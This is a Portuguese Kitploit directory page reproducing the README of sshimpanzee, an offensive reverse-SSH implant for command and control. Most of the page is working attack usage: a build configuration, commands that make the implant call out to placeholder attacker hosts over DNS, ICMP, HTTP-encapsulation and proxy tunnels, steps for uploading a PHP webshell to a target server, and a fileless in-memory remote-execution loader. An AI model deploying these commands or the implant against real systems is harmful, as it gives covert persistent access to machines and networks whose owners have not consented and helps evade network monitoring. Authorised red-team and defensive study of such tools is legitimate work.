Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
sshimpanzee — Implante baseado em SSHD suportando mecanismos de tunelamento para alcançar o C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...) | Kitploit
Ferramentas/GitHubGitHub/lexfo/sshimpanzee
Geração de PayloadsPós-ExploraçãoSegurança de RedeComando e ControleRed TeamingFerramenta de Acesso RemotoAnálise de DNS
GitHublexfo/sshimpanzee

sshimpanzee

Implante baseado em SSHD suportando mecanismos de tunelamento para alcançar o C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)

Ver Repositório
293298há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Site
Compartilhar

Sshimpanzee

Sshimpanzee permite construir um servidor ssh reverso estático. Em vez de escutar em uma porta e aguardar conexões, o servidor ssh iniciará uma conexão reversa para o IP do atacante, como um shell reverso comum. Sshimpanzee permite aproveitar todos os recursos de uma conexão ssh comum, como encaminhamento de portas, proxies socks dinâmicos ou servidor FTP.

Mais importante ainda, se uma conexão direta da máquina vítima ao servidor atacante não for possível, ele fornece diferentes mecanismos de tunelamento, como DNS Tunnelling, ICMP Tunnelling ou HTTP Encapsulation. Ele também suporta proxies HTTP e SOCKS5. Um paper técnico está disponível no blog da lexfo.

BUILD COM DOCKER - RECOMENDADO

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Talvez seja necessário ativar a variável de ambiente DOCKER_BUILDKIT=1

Arquivo de compilação

A build é feita com base no arquivo build.yaml:

root@kitploit:~

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Uso

Em tempo de execução, o binário sshimpanzee é configurado através de variáveis de ambiente. A variável MODE permite ao usuário selecionar entre os túneis compilados. Cada túnel pode ser configurado através de variáveis de ambiente. Por exemplo, para obter uma conexão reversa clássica para 127.0.0.1:8080, use o seguinte:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

É possível executar sshimpanzee em modo debug com -d. Em modo debug, sshimpanzee permanecerá em primeiro plano.

Túneis

Atualmente, sshimpanzee suporta várias maneiras para o implante alcançar o cliente ssh atacante:

  • Tunelamento DNS usando o protocolo dns2tcp
  • Proxy : HTTP/SOCKS4/SOCKS5
  • Sockets : (pode ser útil se você quiser implementar seus próprios túneis)
  • Túnel ICMP
  • Encapsulamento HTTP

Conexão Sock

  1. Execute ssh no lado do cliente da seguinte forma:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Execute sshimpanzee no alvo:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Outros exemplos:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # bind and listen to 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Connect to unix socket /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Bind and listen to /tmp/sock unix socket 

Conexão através de proxy

  1. Execute ssh no lado do cliente da seguinte forma:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. Execute sshimpanzee no alvo:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Outros exemplos:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Usar Tunelamento DNS

  1. No seu servidor, execute o dns2tcpd padrão usando o arquivo de configuração neste repositório; você precisará modificar o domínio (e a porta do recurso, se desejar).
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. Execute ssh no lado do cliente da seguinte forma:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Execute o binário sshimpanzee:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Outros exemplos:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Force the use of 8.8.8.8 DNS Resolver

Usar Tunelamento ICMP

  1. No seu servidor, adicione as capacidades corretas para evitar executar o proxycommand como root e desabilite a resposta de ping do sistema:
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. Execute o cliente ssh padrão com icmptunnel como proxycommand:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. Execute o binário sshimpanzee:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Usar Encapsulamento HTTP (ssh -> servidor http -> sshd)

  1. Faça upload do arquivo /tuns/http_enc/proxy.php e dos arquivos sshd para o seu servidor web alvo

  2. Certifique-se de que proxy.php seja executado corretamente

  3. Execute o binário sshd no servidor web

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. Execute ssh na máquina cliente com o script python em utils/scripts/ como comando proxy:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

Múltiplos argumentos podem ser passados para proxy_cli.py para adicionar proxies. Atualmente apenas PHP é suportado. Em um servidor JSP, é recomendado usar: A Black Path Toward The Sun (ABPTTS)

Notas laterais sobre Encapsulamento HTTP

  1. Proxy.php é um webshell mínimo; você pode usá-lo para fazer upload do sshd para o servidor e executar comandos. proxy_cli.py oferece as opções --run e --drop para isso.

  2. Você pode experimentar um grande atraso de entrada, pois um delay de 1 a 5 segundos é adicionado ao pacote enviado pelo cliente ssh para evitar gerar muitas requisições http. Se você não se importar em gerar muitas requisições http (e, portanto, muitos logs no servidor web), adicione a opção --no-buffer ao comando proxy_cli.py.

Usando o cliente sshimpanzee

Este repositório também fornece um cliente localizado em utils/client/bin. Simplesmente copie a chave CLIENT em utils/client/keys/

root@kitploit:~
sshimpanzee --new PORT #create a new listener on PORT
sshimpanzee --new-dns #create a new DNS listener (Don't forget to modify utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #create a new icmp listener
sshimpanzee --new-http PROXY_PHP_URL #create a new HTTP Session 

sshimpanzee --list #list availaible sessions

sshimpanzee --get SESSION_NUMBER #to jump into a session any extra parameters are passed as ssh params
sshimpanzee --rename SESSION_NUMBER #to rename a session
sshimpanzee --kill SESSION_NUMBER #to kill a session
sshimpanzee #use fzf to select which session you want

No entanto, pode ser menos confiável do que usar ssh diretamente.

Crie seu próprio mecanismo de túnel

Todos os túneis estão disponíveis no diretório tuns/. Se você quiser adicionar outro túnel, simplesmente adicione uma função com o nome do seu túnel em tuns/builder.py. Esta função é responsável por gerar um arquivo libtun.a contendo quantos .o forem necessários, com um deles exportando um símbolo tun(). Alternativamente, você mesmo constrói o libtun.a e usa o túnel chamado no_build, fornecendo o caminho para seu libtun.a personalizado.

Use a execução sem arquivo

Se sshimpanzee for compilado com o módulo de subsistema remote-exec, é possível executar código remotamente completamente em memória.

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

Trabalhos Futuros

  • Adicionar outros túneis:
    • HTTP Encapsulation (Primeiro passo através de http_enc e proxy.php: adicionar JSP e outros programas)
    • Pilha TCP/IP em userspace com raw sock?
    • ICMP: Xor/Encrypt string to avoid detection in case of network analysis
    • Subsistema para pós-exploração:
      • Procdump
      • Varredura TCP

Agradecimentos

Este repositório depende de muitos projetos diferentes.

  • Primeiramente, Openssh-portable (9.1): https://github.com/openssh/openssh-portable
  • A musl libc para compilá-lo estaticamente: https://wiki.musl-libc.org/

Para os túneis:

  • Dns2tcp: https://github.com/alex-sector/dns2tcp
  • icmptunnel (altamente modificado para melhorar a resiliência do túnel): https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket: https://github.com/brechtsanders/proxysocket

É importante notar que não é um projeto muito original; o uso do protocolo ssh como arma já foi feito há vários anos:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
Baixar ferramenta